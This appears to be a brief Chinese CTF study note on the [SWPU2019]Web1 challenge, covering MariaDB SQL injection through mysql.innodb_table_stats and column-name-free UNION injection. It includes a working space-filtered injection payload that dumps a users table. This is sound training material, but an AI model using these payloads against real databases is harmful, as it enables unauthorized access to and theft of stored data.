刷题记录：[SWPU2019]Web1
题目复现链接：https://buuoj.cn/challenges
知识点
MariaDB的SQL注入
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
mysql.innodb_table_stats用于报表名
select group_concat(table_name) from mysql.innodb_table_stats
将列转换成行，无列名注入
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
select group_concat(b) from(select 1 as b,2,3,4 union select*from diner)x